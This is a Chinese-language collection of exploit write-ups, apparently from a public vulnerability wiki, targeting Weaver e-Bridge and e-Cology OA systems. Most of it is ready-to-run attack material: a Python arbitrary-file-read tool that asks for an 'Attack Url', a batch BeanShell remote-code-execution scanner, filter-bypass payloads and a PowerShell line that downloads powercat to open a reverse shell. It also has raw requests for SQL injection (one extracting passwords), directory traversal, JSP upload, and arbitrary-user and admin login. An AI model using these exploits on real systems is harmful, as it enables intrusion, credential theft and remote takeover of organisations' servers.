泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。
漏洞影响
泛微云桥 e-Bridge 2018-2019 多个版本网络测绘
title="泛微云桥e-Bridge"漏洞复现
分为两种,分别为 Windows 和 Linux
Windows
访问 http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt
成功返回 id值,说明含有此漏洞
调用查看文件接口访问 http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值
Linux
访问 http://xxx.xxx.xxx.xxx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
成功返回 id值,说明含有此漏洞
调用查看文件接口访问 http://xxx.xxx.xxx.xxx/file/fileNoLogin/id值
漏洞POC
注意读取Linux系统文件时,需要完整路径
例如读取根目录下的 1.txt
应为 /1.txt 而不是 1.txt
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 泛微云桥 e-Bridge \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
# 判断操作系统 or 判断漏洞是否可利用
def POC_1(target_url):
vuln_url_1 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt"
vuln_url_2 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
vuln_url_3 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False, timeout=10)
response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False, timeout=10)
response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False, timeout=10)
if "无法验证您的身份" in response_1.text and "无法验证您的身份" in response_2.text:
print("\033[31m[x] 漏洞已修复,不存在漏洞 \033[0m")
sys.exit(0)
else:
if "No such file or directory" in response_1.text:
print("\033[32m[o] 目标为 Linux 系统\033[0m")
id = re.findall(r'"id":"(.*?)"', response_3.text)[0]
print("\033[32m[o] 成功获取id:{}\033[0m".format(id))
return id,"linux"
elif "系统找不到指定的路径" in response_2.text:
print("\033[32m[o] 目标为 Windows 系统\033[0m")
id = re.findall(r'"id":"(.*?)"', response_1.text)[0]
print("\033[32m[o] 成功获取id:{}\033[0m".format(id))
return id,"windows"
else:
print("\033[31m[x] 无法获取目标系统\033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
# 验证漏洞
def POC_2(target_url, id):
file_url = target_url + "/file/fileNoLogin/{}".format(id)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
response.encoding = 'GBK'
print("\033[32m[o] 成功读取:\n\033[0m{}".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
# windows 文件读取
def POC_3(target_url, File):
file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/{}&fileExt=txt".format(File)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
id = re.findall(r'"id":"(.*?)"', response.text)[0]
print("\033[32m[o] 成功获取id:{}\033[0m".format(id))
POC_2(target_url, id)
except :
print("\033[31m[x] 请求失败,无法读取文件 \033[0m)")
# linux读取文件
def POC_4(target_url, File):
file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://{}&fileExt=txt".format(File)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
id = re.findall(r'"id":"(.*?)"', response.text)[0]
print("\033[32m[o] 成功获取id:{}\033[0m".format(id))
POC_2(target_url, id)
except:
print("\033[31m[x] 请求失败,无法读取文件 \033[0m)")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
id,system = POC_1(target_url)
POC_2(target_url, id)
while True:
if system == "windows":
File = input("\033[35mFile >>> \033[0m")
if File == "exit":
sys.exit(0)
else:
POC_3(target_url, File)
if system == "linux":
File = input("\033[35mFile >>> \033[0m")
if File == "exit":
sys.exit(0)
else:
POC_4(target_url, File)File: OA产品漏洞/泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204.md
泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204
漏洞描述
2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重.
网络测绘
app=“泛微-协同办公OA”漏洞影响
E-cology 7.0
E-cology 8.0
E-cology 8.1
E-cology 9.0漏洞复现
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/,如下图在victim上执行了命令“whoami”
请求包为
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: xxxxxxxx:8088
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
bsh.script=ex\u0065c("cmd /c dir");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw关于绕过
eval%00("ex"%2b"ec(\"whoami\")");
ex\u0065c("cmd /c dir");
IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd漏洞POC
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204
#/usr/bin/python
#coding:utf-8
#Author:Ja0k
#For Weaver-Ecology-OA_RCE
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import requests,sys
headers = {
'Content-Type': 'text/xml; charset=utf-8',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1',
'Content-Length': '578'
}
proxies= {'http':'http://127.0.0.1:8080'}
def Poc_check(target):
Url_Payload1="/bsh.servlet.BshServlet"
Url_Payload2="/weaver/bsh.servlet.BshServlet"
Url_Payload3="/weaveroa/bsh.servlet.BshServlet"
Url_Payload4="/oa/bsh.servlet.BshServlet"
Data_Payload1="""bsh.script=exec("whoami");&bsh.servlet.output=raw"""
Data_Payload2= """bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw"""
Data_Payload3= """bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\\"command\\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami"""
for Url_Payload in (Url_Payload1,Url_Payload2,Url_Payload3,Url_Payload4):
url= target + Url_Payload
for Data_payload in (Data_Payload1,Data_Payload2,Data_Payload3):
try:
http_response = requests.post(url,data=Data_payload,headers=headers,verify=False)
#print http_response.status_code
if http_response.status_code == 200:
if ";</script>" not in (http_response.content):
if "Login.jsp" not in (http_response.content):
if "Error" not in (http_response.content):
print "{0} is a E-cologyOA_RCE Vulnerability".format(url)
print "Server Current Username:{0}".format(http_response.content)
elif http_response.status_code == 500:
print "{0}500 maybe is Weaver-EcologyOA,Please confirm by yourself ".format(url)
else:
pass
except Exception,Error:
pass
if __name__ == '__main__':
for line in open(sys.argv[1]).readlines():
target=line.strip()
Poc_check(target)#1.install python Dependencies Library
pip install requests
#2.批量脚本 执行
python Weaver-Ecology-OA_RCE-exp.py
url.txt文件中 是url地址 需要带http协议File: OA产品漏洞/泛微OA E-Cology getSqlData SQL注入漏洞.md
泛微OA E-Cology getSqlData SQL注入漏洞
漏洞描述
泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等。 泛微e-cology存在SQL注入漏洞。攻击者可利用该漏洞获取敏感信息。
漏洞影响
泛微e-cology 8.0网络测绘
app="泛微-协同办公OA"漏洞复现
登录页面
验证POC
/Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@versionFile: OA产品漏洞/泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞.md
泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞
漏洞描述
泛微OA E-Cology HrmCareerApplyPerView.jsp 文件存在SQL注入漏洞,攻击者通过漏洞可以获取服务器数据库敏感文件
漏洞影响
泛微OA E-Cology网络测绘
app="泛微-协同办公OA"漏洞复现
登录页面
验证POC
/pweb/careerapply/HrmCareerApplyPerView.jsp?id=1 union select 1,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','abc')),db_name(1),5,6,7File: OA产品漏洞/泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞.md
泛微OA E-Cology jqueryFileTree.jsp 目录遍历漏洞
漏洞描述
泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等,其中 jqueryFileTree.jsp 文件中 dir 参数存在目录遍历漏洞,攻击者通过漏洞可以获取服务器文件目录信息
漏洞影响
泛微e-cology 9.0网络测绘
app="泛微-协同办公OA"漏洞复现
登录页面
验证POC
/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../File: OA产品漏洞/泛微OA E-cology KtreeUploadAction 任意文件上传.md
泛微OA E-cology KtreeUploadAction 任意文件上传
漏洞描述
参考链接:
漏洞影响
目前已修复漏洞复现
定位文件:
ecology\CLASSB~1\com\weaver\formmodel\apps\ktree\servlet\KtreeUploadAction.class
exp:
POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Secure; JSESSIONID=abc6xLBV7S2jvgm3CB50w; Secure; testBanCookie=test
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=--------1638451160
Content-Length: 171
----------1638451160
Content-Disposition: form-data; name="test"; filename="test.jsp"
Content-Type: image/jpeg
helloword
----------1638451160--File: OA产品漏洞/泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202.md
泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202
漏洞描述
泛微e-cology是专为大中型企业制作的OA办公系统,支持PC端、移动端和微信端同时办公等。 泛微e-cology存在SQL注入漏洞。攻击者可利用该漏洞获取敏感信息。
漏洞影响
泛微e-cology 8.0网络测绘
app="泛微-协同办公OA"漏洞复现
登录页面
验证POC
/upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20password%20as%20id%20from%20HrmResourceManagerFile: OA产品漏洞/泛微OA E-Cology ofsLogin.jsp 前台任意用户登录漏洞.md
泛微OA E-Cology ofsLogin.jsp 前台任意用户登录漏洞
漏洞描述
泛微 e-cology 前台任意用户登录漏洞:泛微 e-cology9 部分版本中存在前台任意用户登录漏洞。该漏洞允许未经身份验证的攻击者通过发送构造的请求触发漏洞,成功利用此漏洞的攻击者可登录任意用户。
漏洞影响
部分 e-cology9 且补丁版本 < 10.57漏洞复现
poc1
/mobile/plugin/1/ofsLogin.jsp?syscode=syscode×tamp=2&gopage=3&receiver=test&loginTokenFromThird=poc2
/mobile/plugin/1/ofsLogin.jsp?gopage=/wui/index.html&loginTokenFromThird=866fb3887a60239fc112354ee7ffc168&receiver=1&syscode=1×tamp漏洞修复
目前,官方已发布修复建议,建议受影响的用户尽快升级至最新版本的补丁。下载地址:https://www.weaver.com.cn/cs/securityDownload.asp#
File: OA产品漏洞/泛微OA E-Cology users.data 敏感信息泄漏.md
泛微OA E-Cology users.data 敏感信息泄漏
漏洞描述
泛微OA E-Cology users.data 允许任意用户下载,获取OA中的敏感信息
漏洞影响
泛微OA E-Cology网络测绘
app="泛微-协同商务系统"漏洞复现
登录页面
验证POC
/messager/users.database64 GBK解码
File: OA产品漏洞/泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞.md
泛微OA E-Cology VerifyQuickLogin.jsp 任意管理员登录漏洞
漏洞描述
泛微OA E-Cology VerifyQuickLogin.jsp文件中存在任意管理员登录漏洞,攻击着通过发送特殊的请求包可以获取管理员Session
漏洞影响
泛微OA E-Cology网络测绘
app="泛微-协同办公OA"漏洞复现
产品主页
验证POC
POST /mobile/plugin/VerifyQuickLogin.jsp
identifier=1&language=1&ipaddress=x.x.x.x